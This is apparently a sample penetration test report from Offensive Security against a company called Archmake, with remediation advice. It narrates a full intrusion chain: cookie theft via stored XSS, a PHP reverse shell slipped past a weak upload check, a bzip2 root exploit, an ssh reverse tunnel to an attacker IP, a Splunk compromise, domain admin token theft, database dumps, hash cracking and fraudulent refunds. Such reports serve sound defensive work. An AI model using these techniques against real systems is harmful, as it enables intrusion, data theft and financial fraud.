Penetration Test Report

Archmake.com


Offensive Security Services, LLC
19706 One Norman Blvd.
Suite B #253
Cornelius, NC 28031
United States of America

Tel: 1-402-608-1337
Fax: 1-704-625-3787
Email: info@offsec.com
Web: http://www.offensive-security.com
# Table of Contents

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Executive Summary</td>
<td>1</td>
</tr>
<tr>
<td>Summary of Results</td>
<td>1</td>
</tr>
<tr>
<td>Attack Narrative</td>
<td>3</td>
</tr>
<tr>
<td>WordPress Exploitation</td>
<td>3</td>
</tr>
<tr>
<td>WordPress Plugin Unintended File Type Upload</td>
<td>6</td>
</tr>
<tr>
<td>Linux Local Privilege Escalation</td>
<td>8</td>
</tr>
<tr>
<td>Maintaining Access to Compromised Webserver</td>
<td>10</td>
</tr>
<tr>
<td>Vulnerable Splunk Installation</td>
<td>11</td>
</tr>
<tr>
<td>Domain Privilege Escalation</td>
<td>14</td>
</tr>
<tr>
<td>Database Content Exploitation</td>
<td>18</td>
</tr>
<tr>
<td>Attacker Control of Archmake Transactions</td>
<td>22</td>
</tr>
<tr>
<td>Conclusion</td>
<td>23</td>
</tr>
<tr>
<td>Recommendations</td>
<td>23</td>
</tr>
<tr>
<td>Risk Rating</td>
<td>25</td>
</tr>
<tr>
<td>Appendix A: Vulnerability Detail and Mitigation</td>
<td>26</td>
</tr>
<tr>
<td>Risk Rating Scale</td>
<td>26</td>
</tr>
<tr>
<td>Unprotected WP-Admin Access</td>
<td>26</td>
</tr>
<tr>
<td>Vulnerable WordPress Search Plugin</td>
<td>26</td>
</tr>
<tr>
<td>Webserver Bzip Vulnerability</td>
<td>27</td>
</tr>
<tr>
<td>Vulnerable Splunk Installation</td>
<td>27</td>
</tr>
<tr>
<td>Hardcoded Username and Password in Executable</td>
<td>27</td>
</tr>
<tr>
<td>Database Unsalted Password Storage</td>
<td>28</td>
</tr>
<tr>
<td>Unprotected Database Server</td>
<td>28</td>
</tr>
<tr>
<td>Database Contains Unencrypted Credit Card Numbers</td>
<td>28</td>
</tr>
<tr>
<td>Lack of Transaction Verification</td>
<td>29</td>
</tr>
<tr>
<td>SSH Key Files not Password Protected</td>
<td>29</td>
</tr>
<tr>
<td>Outbound Access from Webserver</td>
<td>30</td>
</tr>
<tr>
<td>WordPress Upload Plugin Invalid File Type Checks</td>
<td>30</td>
</tr>
<tr>
<td>Appendix B: List of Changes made to Archmake Systems</td>
<td>31</td>
</tr>
<tr>
<td>Appendix C: About Offensive Security</td>
<td>32</td>
</tr>
</tbody>
</table>
Executive Summary

Offensive Security has been contracted to conduct a penetration test against Archmake’s external web presence. The assessment was conducted in a manner that simulated a malicious actor engaged in a targeted attack against the company with the goals of:

- Identifying if a remote attacker could penetrate Archmake’s defenses.
- Determining the impact of a security breach on:
  - The integrity of the company’s order systems.
  - The confidentiality of the company’s customer information.
  - The internal infrastructure and availability of Archmake’s information systems.

The assessment was conducted in accordance with the recommendations outlined in NIST SP 800-115\(^1\). The results of this assessment will be used by Archmake to drive future decisions as to the direction of their information security program. All tests and actions were conducted under controlled conditions.

Summary of Results

Network reconnaissance was conducted against the address space provided by Archmake with the understanding that this space would be considered the scope for this engagement. It was determined that the company maintains a minimal external presence, consisting of an external web site and a hosted mail service. This constituted a small attack surface, necessitating a focus on the primary website.

While reviewing the security of the primary Archmake website, it was discovered that a vulnerable WordPress plugin was installed. This plugin was successfully exploited, leading to administrative access to the WordPress installation. This access was utilized to obtain interactive access to the underlying operating system, and then escalated to root privileges.

Armed with administrative access to the Archmake webserver, Offensive Security was then able to identify internal network resources. A vulnerability in an internal system was leveraged to gain local system access, which was then escalated to domain administrator rights. This placed the entire infrastructure of the network under the control of the attackers.

While mapping the internal network, an application was discovered that accessed an internal corporate database. The application was compromised, and in doing so, allowed Offensive Security to gain access to the internal database where customer information is stored. Additionally, it was found that this database system manages customer orders. This system was used to process returns on attacker-controlled credit cards, allowing Offensive Security to extract funds directly from the company.
Attack Narrative

WordPress Exploitation

While conducting discovery against the target systems it was discovered that a WordPress 3.3.1 installation was in place. While this system was being reviewed for security issues, the WPScan\(^2\) tool was used, which reported that an insecure plugin was in place.

As reported by WPScan, the Relevanssi plugin suffered from a Cross-Site Scripting Vulnerability\(^3\), documented on the Exploit Database. The aforementioned vulnerability was leveraged to conduct a Cross-Site Scripting attack, with the intent of stealing authentication cookies from an administrative user.

\(^2\) [http://code.google.com/p/wpscan](http://code.google.com/p/wpscan)

\(^3\) [http://www.exploit-db.com/exploits/16233](http://www.exploit-db.com/exploits/16233)
To conduct this attack, Offensive Security inserted the following code into the search bar on the Archmake web site:

```html
<script>
```

For this attack to properly execute, a user logged into the WordPress administrative interface was required to access the “User Searches” page.

When this page was accessed, the cross-site scripting attack was executed. This can be verified by accessing the view source option on the “User Searches” page.

```html
<script>
```

At the time that the “User Searches” page was accessed, a remote listener was running on the attacker’s machine. This captured the logged in user’s authentication cookie.
This cookie was then manually inserted into Firefox using a cookie editor. This bypassed the login function by tricking WordPress into believing the attacker had already successfully authenticated to the system.

After reloading the web page, it was verified that administrative access had successfully been obtained.
Once this level of administrative access was obtained, full control via the WordPress administrative interface was possible. This can result in code execution on the site through multiple methods, most directly through the editing of the WordPress theme files, which grant access to the underlying PHP code. The integrity of the webserver was now compromised, with multiple escalation paths available to the attacker.

For details of the exploited vulnerability, please see Appendix A.

**WordPress Plugin Unintended File Type Upload**

Once administrative access to the WordPress system had been obtained, an effort was taken to identify any additional vulnerabilities that could be leveraged by an attacker. As part of this effort, a review of the installed plugins was made.

While conducting this review, a plugin was identified that allowed for the uploading of user supplied profile images.

Upon reviewing the source code for this plugin, Offensive Security discovered that a regular expression controls the types of files that may be uploaded to the site.
The above section of code from the upload script checks for allowed file types in a flawed manner. The regular expression performs a simple string evaluation, and is the only test used to determine the file type of the object the user is attempting to upload. The intent of the regex is to match a file name such as “MyImage.png”, with this highlighted portion of the name equaling the regular expression match. However, files such as “MyEvilFile.png.php” would successfully match as well, allowing the upload of an executable script.

It was decided to leverage this vulnerably to upload attacker-supplied tools and scripts to the targeted system. There are multiple ways that file transfers could be conducted with the level of access that had been obtained, however, it was decided that leveraging this process had the dual benefit of demonstrating an existing vulnerability on the site, as well as minimizing the changes made to the webserver.

To verify that the upload process worked as intended, a standard graphic file was uploaded as a test. Once this was completed successfully, Offensive Security modified the name of a PHP reverse shell (pre-
configured to connect back to an Offensive Security controlled system so as to not introduce an additional security vulnerability) and uploaded it to the system.

A listener was then run on the attacker-controlled system and the PHP reverse shell was accessed, resulting in interactive shell access on the remote system. Because this shell was running within the context of the webserver, it only had minimal system permissions.

```
root@bt:~# nc -1vp 53
listening on [any] 53 ...
Linux archwww 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686
GNU/Linux
10:49:14 up 12 days, 23:47, 2 users, load average: 0.00, 0.00, 0.00
USER    TTY      FROM   LOGIN@     IDLE   JCPU   PCPU WHAT
rdole    tty7     :0     16Jan12 12days 5:51 0.24s x-session-manager
rdole    pts/2    :0.0   Tue10  6:01m  0.38s 44.68s gnome-terminal
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

For details of the exploited vulnerability, please see Appendix A

**Linux Local Privilege Escalation**

With interactive access to the targeted webserver obtained, the next objective was to gain administrative access to the system.

The operating system of the webserver was determined to be “Linux version 2.6.32-5-686 (Debian 2.6.32-38) (ben@decadent.org.uk) (gcc version 4.3.5 (Debian 4.3.5-4)) #1 SMP Mon Oct 3 04:15:24 UTC 2011”. After researching potential attack vectors, it was discovered that the system was vulnerable to a race condition in bzip2. A publicly available exploit⁴ for this vulnerability was found on the Exploit Database.

To escalate privileges, the exploit was uploaded to the system via the insecure upload profile picture plugin.

⁴ [http://www.exploit-db.com/exploits/18147](http://www.exploit-db.com/exploits/18147)
It was then a straightforward process of decompressing the executable, providing execute permissions, and running the exploit. This resulted in root level access, allowing full control of the entire webserver.

```
$ cd /var/www/wp-content/uploads/2012/02
$ ls race.png.gz
race.png.gz
$ gunzip race.png.gz
$ chmod +x race.png
$ ./race.png
usage: ./race.png <cmd name>
$ ./race.png dd
id
uid=0(root) gid=33(www-data) groups=0(root),33(www-data)
```

At this point, the webserver represents an internal attack platform for a malicious party. With full administrative access now available, a malicious party could utilize the system for a multitude of purposes, ranging from attacks against Archmake itself, to attacks against its customers. If this had been a true compromise, Archmake administrators would not be able to trust any data on the webserver.

For details of the exploited vulnerability, please see Appendix A.
Maintaining Access to Compromised Webserver

Once administrative access to the webserver had been established, further attacks against Archmake required a more stable connection than what was provided by the PHP backdoor.

Upon examining the exploited webserver, it was discovered that an SSH service was running on port 22000. It was decided that using this service was a better solution for establishing a standard method of interaction without introducing additional security vulnerabilities to the system.

In order to minimize changes to the system, SSH key-based authentication was used for authentication rather than altering or adding any user accounts. These keys work as a method of authentication through the use of public key cryptography, consisting of a public/private key pair. To enable this access, the attacker’s public key was added to the authorized_keys file for the root user. Additionally, the public key of the web server was copied to the authorized_keys file of the attacking system.

With the aforementioned authentication system in place, a SSH server was started on the attacker's system on TCP port 53. We were confident that the webserver would be able to make outbound connections to the remote system using that port based upon the initial exploit. From the PHP shell environment, the command

```
ssh -o 'StrictHostKeyChecking no' -R 22000:127.0.0.1:22000 -p 53 172.16.40.204 ping 127.0.0.1
```

was executed and initiated a connection from the victim's system to the attacker. Additionally, this created a listener on the attacker's system that would tunnel local connections to the listening SSH server on the victim's system.
This tunnel was then utilized to open a standard SSH connection as the root user to the victim web server. Additionally, a SOCKS proxy was created between the two systems, allowing applications on the attacker’s system to access the victim’s network through the proxy. This has the effect of making all connections appear as if they are coming from the victim’s system. This configuration allowed the attacker to masquerade as the victim’s system.

For the purposes of the penetration test, this connection was created manually. In the instance of a true attack, it is likely that the attacker would implement an automated process to re-create the tunnels if the connection was broken for any reason.

This phase of the attack did not exploit any vulnerabilities or take advantage of any newly discovered misconfigurations on the system. It was simply the result of the level of access that had been obtained on the system due to the success of the previous attacks. This phase is where the attacker consolidated the necessary access and control, to further penetrate Archmake's network. Clearly understanding this aspect, is essential in understanding the scope of the penetration.

**Vulnerable Splunk Installation**

While inspecting the configuration of the compromised webserver, references were discovered to a 10.10.0.x network that appeared to be directly accessible by the compromised system. Network reconnaissance steps, used to discover additional assets located on this secondary network, revealed a Splunk server.

Versions of Splunk prior to 4.2.5 suffer from a remote vulnerability that can be exploited with a publicly available exploit\(^5\) located on the Exploit Database. Using the SOCKS proxy that was previously established, Offensive Security accessed the web interface of the Splunk installation, and identified that the installed version was 4.2.2, and thus, vulnerable to attack.

\(^5\) [http://www.exploit-db.com/exploits/18245](http://www.exploit-db.com/exploits/18245)
To conduct the attack, the public exploit was transferred to the compromised webserver, and then run against the targeted system. This attack is conducted in a blind manner, resulting in no response back from the executed commands. Because the remote system was Windows-based, it was decided that an attempt would be made to create a user account on the remote system. As Splunk is often installed with local SYSTEM privileges, this user would then be added to the Administrators group.
The success of the attack was tested by attempting to use the newly created account to establish an interactive session on the targeted system via Windows Remote Desktop.
With this connection established, we verified that the created account had local administrative access. At this point, Offensive Security had a level of access equal to sitting at the physical system console of the newly compromised host.

For details of the exploited vulnerability, please see Appendix A.

**Domain Privilege Escalation**

To determine the full potential of this compromise, an attempt was made to escalate privileges from local administrator to domain administrator. Utilizing the compromised Splunk server, Offensive Security transferred Windows Credential Editor (WCE)\(^6\) to the remote system through the use of the

\(^6\) [http://www.ampliasecurity.com/research/wcefaq.html](http://www.ampliasecurity.com/research/wcefaq.html)
compromised webserver. WCE is a tool that allows attackers to make use of Windows credentials from memory and repurpose them for alternate use.

Upon initial transfer of the WCE toolkit to the system, it was discovered that the Domain Administrator token was present within memory.

With this credential in memory, it was a simple matter of using this token to execute a new command shell that would operate with Domain Administrator rights.
This shell was then used to run the Microsoft Management Console (MMC) as the Domain Administrator. With the MMC loaded, the Active Directory Users and Computers snap-in was loaded, giving the attacker the ability to edit domain entities. This was utilized to create a new network user, which was subsequently added to the Domain Administrator's group.
This new user was capable of accessing the entire Archmake Active Directory domain, with full rights and privileges. At this point, the integrity of the entire Windows network is compromised. In terms of next steps, a true attacker would have multiple tools at their disposal, including:

- Utilization of Group Policy to deploy backdoor software on all systems.
- Complete exfiltration of all data stored on any system that uses Windows authentication.
- Destruction of any and all network resources.
- Targeted attacks against any and all employees of Archmake, through the use of information gathering tools such as keystroke loggers to identify personal information.
- Leveraging this systemic access to conduct attacks against Archmake suppliers and partners that maintain a trust relationship with the company.

It was determined that while these steps would be possible, they would be considered outside the scope of the current engagement. It was demonstrated that a total compromise of the Archmake domain had been accomplished with a complete loss of integrity for all local systems.

For details of the exploited vulnerability, please see Appendix A.
Database Content Exploitation

After the Splunk server was exploited, an examination of its local file systems revealed a directory containing an executable and a CSV file.

Upon investigating the CSV file, it was found to contain Archmake’s customer information that had been extracted from a database server.
It was determined that this file was generated by the exportcsv.exe program. This program was examined to obtain an understanding of its inner workings, and to determine if it contained any information that would facilitate access to the database server.

While viewing the program within a debugger, it was discovered that it created a direct connection to a Microsoft SQL server. The credentials for this connection were hard coded within the application.

By making use of these credentials, it was possible to make a direct connection to the backend database server to directly access the data.

This access allowed us to directly manipulate all data within the database.
Utilizing this connection, an export of the database was performed. This resulted in a significant compromise of customer data. Fields that were extracted included: UserID, First and Last Name, E-mail address, telephone number, encrypted password, mailing address, and various bits of user information.

<table>
<thead>
<tr>
<th>id</th>
<th>FirstName</th>
<th>LastName</th>
<th>eMail</th>
<th>PhoneNr</th>
<th>AcctNb</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>Anthony</td>
<td>Allwood</td>
<td><a href="mailto:Anthony@hotmail.com">Anthony@hotmail.com</a></td>
<td>(899) 669-2152</td>
<td>160</td>
</tr>
<tr>
<td>12</td>
<td>Art</td>
<td>Anderson</td>
<td><a href="mailto:Art@hotmail.com">Art@hotmail.com</a></td>
<td>(844) 478-3868</td>
<td>17212</td>
</tr>
<tr>
<td>13</td>
<td>Arthur</td>
<td>Andreou</td>
<td><a href="mailto:Arthur@hotmail.com">Arthur@hotmail.com</a></td>
<td>(811) 518-9301</td>
<td>19484</td>
</tr>
<tr>
<td>14</td>
<td>Barry</td>
<td>Anthony</td>
<td><a href="mailto:Barry@hotmail.com">Barry@hotmail.com</a></td>
<td>(855) 490-8459</td>
<td>65459</td>
</tr>
<tr>
<td>15</td>
<td>Bart</td>
<td>Appelita</td>
<td><a href="mailto:Bart@hotmail.com">Bart@hotmail.com</a></td>
<td>(899) 683-8862</td>
<td>58496</td>
</tr>
<tr>
<td>16</td>
<td>Ben</td>
<td>Appleget</td>
<td><a href="mailto:Ben@hotmail.com">Ben@hotmail.com</a></td>
<td>(855) 416-2751</td>
<td>46548</td>
</tr>
<tr>
<td>17</td>
<td>Benjamin</td>
<td>Arbore</td>
<td><a href="mailto:Benjamin@hotmail.com">Benjamin@hotmail.com</a></td>
<td>(844) 793-1054</td>
<td>23317</td>
</tr>
<tr>
<td>18</td>
<td>Bill</td>
<td>Avenson</td>
<td><a href="mailto:Bill@hotmail.com">Bill@hotmail.com</a></td>
<td>(833) 443-9420</td>
<td>82765</td>
</tr>
<tr>
<td>19</td>
<td>Bobby</td>
<td>Arnold</td>
<td><a href="mailto:Bobby@hotmail.com">Bobby@hotmail.com</a></td>
<td>(849) 149-9023</td>
<td>52918</td>
</tr>
<tr>
<td>20</td>
<td>Brad</td>
<td>Amtzen</td>
<td><a href="mailto:Brad@hotmail.com">Brad@hotmail.com</a></td>
<td>(844) 497-1565</td>
<td>37324</td>
</tr>
</tbody>
</table>

After examining the output, it was determined that the password field was composed of MD5 hashes. These hashes were loaded into an Offensive Security operated password cracker. Out of the 1000 loaded hashes, 996 were recovered to clear text in twenty two seconds of operation.
The effect of this amounts to a serious compromise. The volume of personal information extracted from the database, combined with the common tendency for password re-use, could significantly impact the customers of Archmake had this been a real attack.

For details of the exploited vulnerability, please see Appendix A.
Attacker Control of Archmake Transactions

While conducting further examination of the database backend, we determined that a number of tables were being updated on a regular basis. By monitoring the activity of these tables, it was discovered that as orders were entered into the system, they would be placed into the tables. On a periodic basis, another process would take action based upon the “Category”.

Through a combination of monitoring database activity, and placing orders through the standard system, it was possible to identify the purpose of a subset of Categories.

<table>
<thead>
<tr>
<th>CustID</th>
<th>CreditCard</th>
<th>Category</th>
<th>Amount</th>
</tr>
</thead>
<tbody>
<tr>
<td>448917</td>
<td>4716428624251690</td>
<td>1</td>
<td>$28,450.06</td>
</tr>
<tr>
<td>273628</td>
<td>49163509853605080</td>
<td>4</td>
<td>$44,382.49</td>
</tr>
<tr>
<td>170117</td>
<td>4532665952205720</td>
<td>6</td>
<td>$39,151.73</td>
</tr>
<tr>
<td>623596</td>
<td>4532876975411010</td>
<td>1</td>
<td>$19,276.63</td>
</tr>
</tbody>
</table>

Once a mapping of transaction types was created, an attempt was made to manually inject data into this table. It was discovered that by injecting a valid CustID and an attacker owned credit card number with a category of 4 (Refund), an arbitrary amount of money could be refunded to the attackers. This was verified in cooperation with Archmake under controlled conditions.

It is believed, but not tested, that new orders could be placed and shipped to attacker created customer entities. This was not verified due to the disruption it would cause to the Archmake workflow.

By exerting control over the backend database system, it was possible to have control over the entirety of the Archmake order process. This is of extreme importance to Archmake, due to the amount of disruption it could cause to its business processes. Additionally, the ability of an attacker to obtain direct financial benefit from this attack makes Archmake an extremely attractive target.

For details of the exploited vulnerability, please see Appendix A.
Conclusion

In the course of the external penetration test, Archmake suffered a cascading series of breaches that led to conditions that would directly harm the company as well as its customers.

The specific goals of the penetration test were stated as:

- Identify if a remote attacker could penetrate Archmake’s defenses.
- Determine the impact of a security breach on:
  - The integrity of the company’s order systems.
  - The confidentiality of the company’s customer information.
  - The internal infrastructure and availability of Archmake’s information systems.

These goals of the penetration test were met. It was determined that a remote attacker would be able to penetrate Archmake’s defenses. To make this situation even worse, the initial attack vector can be discovered via automated scanning, creating a situation where a remote attack could be initiated on a non-targeted basis. The impact of this penetration led to the complete control of Archmake's information systems by the attacker.

Archmake's customer privacy was directly impacted through the attacker's ability to obtain a large amount of information about them, including clear text passwords, through the use of a brute force attack. This exposes the customers to direct attack, which could lead to financial impact. Customer trust in Archmake would be negatively impacted were such an event to occur.

It was possible to obtain complete and total control over the company order process. This provided the attacker with the ability to steal funds from Archmake, making this attack both very damaging and very attractive.

Recommendations

Due to the impact to the overall organization as uncovered by this penetration test, appropriate resources should be allocated to ensure that remediation efforts are accomplished in a timely manner. While a comprehensive list of items that should be implemented is beyond the scope of this engagement, some high level items are important to mention.

1. **Implement and enforce implementation of change control across all systems**: Misconfiguration and insecure deployment issues were discovered across the various systems. The vulnerabilities
that arose can be mitigated through the use of change control processes on all server systems.

2. **Implement regular firewall rule set reviews**: Review the firewall rule set on a regular basis to ensure that all systems open to internal traffic continue to have a business reason to exist. We recommend that NIST SP 800-41\(^7\) be consulted for guidelines on firewall configuration and testing.

3. **Implement a patch management program**: Operating a consistent patch management program per the guidelines outlined in NIST SP 800-40\(^8\) is an important component in maintaining good security posture. This will help to limit the attack surface that results from running unpatched internal services.

4. **Conduct regular vulnerability assessments**: As part of an effective organizational risk management strategy, vulnerability assessments should be conducted on a regular basis. Doing so will allow the organization to determine if the installed security controls are installed properly, operating as intended, and producing the desired outcome. Consult NIST SP 800-30\(^9\) for guidelines on operating an effective risk management program.

5. **Restrict network access to server management interfaces**: Proper network segmentation will reduce exposure to internal attacks against the server environment. Operating a well-designed DMZ will allow Archmake to conduct its e-commerce business in a manner that does not expose internal systems to attack. Consult FIPS 191\(^10\) for guidelines on securing local area networks.

6. **Restrict access to critical systems**: It is recommended that the database server be isolated from other systems. If possible, a whitelist of database commands should be implemented specifying the minimum number of commands required to support business operations. This is inline with the system design concept of least privilege, and will limit the amount of damage an attacker can inflict on corporate resources. Consult NIST SP 800-27 RevA\(^11\) for guidelines on achieving a security baseline for IT systems.

7. **Apply industry methodologies for secure software design**: The use of hard coded credentials within custom applications is highly discouraged. Users should have a need to know, and be

\(\text{http://csrc.nist.gov/publications/nistpubs/800-40-Ver2/SP800-40v2.pdf}\)
\(\text{http://csrc.nist.gov/publications/PubsDrafts.html#SP-800-30-Rev.%201}\)
\(\text{http://csrc.nist.gov/publications/fips/fips191/fips191.pdf}\)
required to provide, credentials before accessing confidential and proprietary data. This provides better security, and an audit trail that allows the business to tie actions to specific user accounts.

For details on the specific exploited vulnerabilities, please see Appendix A.

**Risk Rating**

The overall risk posed to Archmake as a result of this penetration test is **High**. A non-targeted attacker has the potential to damage the company in a manner that would have direct operational and financial impact.
Appendix A: Vulnerability Detail and Mitigation

Risk Rating Scale
In accordance with NIST SP 800-30, discovered vulnerabilities are ranked based upon likelihood and impact to determine overall risk.

Unprotected WP-Admin Access
Rating: High
Affected System: www.Archmake.com
Description: Access to the www.Archmake.com administrative interface is only protected by a username and password combination. It is suggested best practice to only allow specific hosts access to any administrative interface.
Impact: If an attacker is able to obtain valid credentials or a valid session to the administrative interface, there are no additional controls in place to prevent privilege escalation. In the course of this penetration test, additional layers of defense at this layer would have mitigated the initially discovered foothold gained by the attackers.
Remediation: Implement controls to only allow connections to the administrative interface from known hosts. A potential method for achieving this could be through only allowing access from clients that are behind the company VPN or a whitelist of known trusted hosts.

Vulnerable WordPress Search Plugin
Rating: High
Affected System: www.Archmake.com
Description: The www.Archmake.com system is operating with a vulnerable WordPress plugin (Relevanssi User Searches) that interacts with the public search function of the site. This vulnerability is exploited by storing javascript, which is then executed as a stored XSS vulnerability.
Public Exploit: http://www.exploit-db.com/exploits/16233/
Impact: This vulnerability can be utilized to obtain a valid session to the WordPress administration interface, providing the attacker with administrative access of the
overall system.

Remediation: Update the Relevanssi plugin to a version greater than 2.7.2.

Webserver Bzip Vulnerability
Rating: High
Affected System: www.Archmake.com
Description: The version of bzip2 running on the remote system is vulnerable to a race condition, that when properly exploited results in arbitrary code execution.
Impact: By utilizing a public exploit for this flaw, root level privileges can be obtained.
Remediation: Apply vendor-supplied patches to update bzip2 to a version greater than 1.0.5-6.

Vulnerable Splunk Installation
Rating: High
Affected System: 10.10.0.3
Description: The version of Splunk on the remote host is vulnerable to remote command injection.
Impact: An unauthenticated remote user with access to the Splunk host can execute commands as Local System user.
Remediation: Update the Splunk installation to version 4.2.5 or higher.

Hardcoded Username and Password in Executable
Rating: High
Affected System: 10.10.0.3
Description: The exportcsv.exe application on the remote host was found to be operating with database credentials hardcoded into the application.
Impact: By extracting the credentials from the application, direct connections to the database server were possible. The credentials had administrative level access, which provides full control over the database contents. This has the effect of granting total control of the backend system to the attacker.
Remediation: Deploy interactive authentication as part of the application start-up process. Have unique username/password combinations for each entity that accesses the
system. Create a whitelist of the least number of required commands that are permitted for each account.

Database Unsalted Password Storage
Rating: High
Affected System: 10.10.0.5
Description: Passwords stored on the database server were discovered to be unsalted\(^{12}\).
Impact: By storing passwords without salting them, brute force attacks against the system were able to obtain the clear text values with minimal effort. In this instance, it provided the attackers with the clear text passwords of the vast majority of Archmake’s customers, introducing them to the potential of future attacks.
Remediation: Make use of stronger encryption/hashes in the future. Ensure that all appropriate measures are taken to ensure the security of sensitive data at rest.

Unprotected Database Server
Rating: High
Affected System: 10.10.0.5
Description: The database server was found to be operating on a flat network, which allowed connections from the local LAN. Due to the sensitivity of this system, additional controls should be put into place to ensure its protection.
Impact: Once credentials to the database server were discovered, it was trivial to obtain full control over the system. This resulted in a much greater impact to the organization.
Remediation: Implement additional layers of defense for the database server. This may include moving the database server to a separate network and strictly controlling ingress and egress traffic to it.

Database Contains Unencrypted Credit Card Numbers
Rating: High
Affected System: 10.10.0.5

Description: It was discovered that in the course of transaction processing, credit card numbers are stored in clear text on the database server for a brief period of time.

Impact: While the time that credit card numbers are in the database is short, it was enough of an exposure to allow the attackers to obtain them on a consistent basis. This compromised the integrity of all credit cards that are processed by the system.

Remediation: The design and architecture of the transaction processing system should be reviewed. This review will identify which additional controls should be put in place to better protect customer data.

**Lack of Transaction Verification**

Rating: **High**

Affected System: 10.10.0.5

Description: No verification was in place to validate the source of transactions submitted to the database for processing.

Impact: By not validating the integrity of the submitted transactions, it was possible for the attackers to submit arbitrary transactions and have them processed by the system as if they were authentic. In the course of the penetration test, this vulnerability allowed refunds to be processed against attacker-supplied credit cards.

Remediation: Controls should be added to verify the integrity of transactions before processing.

**SSH Key Files not Password Protected**

Rating: **Medium**

Affected System: www.Archmake.com

Description: Once root privileges were obtained, it was possible to make use of the installed ssh key files as they were not password protected. It is considered best practice to protect ssh key files through the use of passwords.

Impact: By utilizing the existing ssh key files and ssh tunnels, it was possible to remotely access the system without altering the root user’s password. This minimized the
chances of being detected.

Remediation: Use passwords to protect all ssh key files.

**Outbound Access from Webserver**

Rating: Medium
Affected System: www.Archmake.com
Description: The www.Archmake.com system was discovered to allow outbound connections to specific ports. While some filtering is in place, outbound connections to TCP port 53 were discovered to be open. It is best practice to only allow traffic from externally initiated connections to valid server ports.
Impact: The permitted outbound connections were used to establish interactive access to the impacted system. If this were not allowed, the attacker’s abilities would have been impaired.
Remediation: Employ egress filtering in the DMZ to only allow servers to initiate connections to specific hosts on specific ports.

**WordPress Upload Plugin Invalid File Type Checks**

Rating: Low
Affected System: www.Archmake.com
Description: The admin upload plugin has implemented file type checking in a manner that is ineffective.
Impact: Impact of this issue is low due to the fact that only administrative users have access to this functionality. This flaw was utilized to ease transferring files to the impacted system. If this issue was corrected, alternative means for file transfer would have been utilized.
Remediation: Correct file type checking or disable the plugin if the functionality is not required.
Appendix B: List of Changes made to Archmake Systems

The following files were altered or created as part of this penetration test. Specific details of how or why these files were altered is included in the Attack Narrative.


Files uploaded into /var/www/wp-content/uploads:
- face.png
- php-reverse-shell.png.php
- race.png

10.10.0.3: All files located in C:\Users\hacker\Downloads

Windows domain: “hacker” user created
Appendix C: About Offensive Security

Offensive Security advocates penetration testing for impact as opposed to penetration testing for coverage. Penetration testing for coverage has risen in popularity in recent years as a simplified method for companies to meet regulatory needs. As a form of vulnerability scanning, penetration testing for coverage includes selective verification of discovered issues through exploitation. This allows service providers to conduct the work largely through the use of automated toolsets and maintain consistency of product across multiple engagements.

Penetration testing for impact is a form of attack simulation under controlled conditions. This more closely mimics the real world, targeted attack threat that organizations face on a day-to-day basis. Penetration testing for impact is goal-based assessments that identifies more than a simple vulnerability inventory, but instead provides the true business impact of a breach. An impact-based penetration test identifies areas for improvement that will result in the highest rate of return for the business.

Penetration testing for impact poses the challenge of requiring a high skillset to successfully complete. As demonstrated in this sample report, Offensive Security believes that it is uniquely qualified to deliver world-class results when conducting penetration tests for impact due to the level of expertise found within our team of security professionals. Offensive security does not maintain a separate team for penetration testing and other activities that the company is engaged in. This means that the same individuals that are involved in Offensive Security’s industry leading performance-based training, the production of industry standard tools such as BackTrack Linux, authors of best selling books, and maintainers of industry references such as Exploit-DB are the same individuals that are involved in the delivery of services.

Offensive Security offers a product that cannot be matched in the current market. However, we may not be the right fit for every job. Offensive Security typically conducts consulting services with a low volume, high skill ratio to allow Offensive Security staff to more closely mimic real world situations. This also allows customers to have increased access to industry-recognized expertise all while keeping costs reasonable. As such, high volume, fast turn around engagements, are often not a good fit. Offensive Security is focused on conducting high quality, high impact assessments and is actively sought out by customers in need of services that cannot be delivered by other vendors.

If you would like to discuss your penetration testing needs, please contact us at info@offsec.com.